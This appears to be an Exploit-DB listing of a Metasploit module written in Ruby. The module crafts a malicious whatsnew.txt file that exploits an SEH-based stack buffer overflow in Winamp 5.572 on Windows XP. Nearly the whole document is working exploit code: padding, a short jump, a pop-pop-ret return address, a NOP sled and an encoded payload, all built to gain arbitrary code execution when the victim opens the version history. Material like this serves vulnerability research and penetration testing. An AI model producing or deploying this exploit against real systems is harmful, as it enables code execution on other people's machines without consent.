Winamp 5.572 – ‘whatsnew.txt’ (SEH) (Metasploit)
# Title: Winamp 5.572 whatsnew.txt SEH (MSF) # Author: Blake # Published: 2010-04-15 # Tested on Windows XP SP3 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Winamp 5.572 whatsnew.txt Buffer Overflow Exploit (SEH)', 'Description' => %q{ This module exploits a stack overflow in Winamp version 5.572. By creating a specially crafted whatsnew.txt file, an an attacker may be able to execute arbitrary code. This exploit is triggered by accessing the help - winamp - version history option once the whatsnew.txt file has been placed in the Winamp directory. }, 'License' => MSF_LICENSE, 'Author' => 'Blake', 'Version' => 'Version 1', 'References' => [ [ 'OSVDB', '' ], [ 'URL', 'http://www.exploit-db.com/exploits/11267' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4488, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x10025497} ], # pop ebx; pop ebp; retn gen_jumpex.dll ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'whatsnew.txt']), ], self.class) end def exploit sploit = "Winamp 5.572" sploit << rand_text_alphanumeric(672) sploit << "\xeb\x06\x90\x90" # short jump 6 bytes sploit << [target.ret].pack('V') sploit << "\x90" * 20 # nop sled sploit << payload.encoded sploit << rand_text_alphanumeric(4488 - payload.encoded.length) whatsnewtxt = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(whatsnewtxt) end end |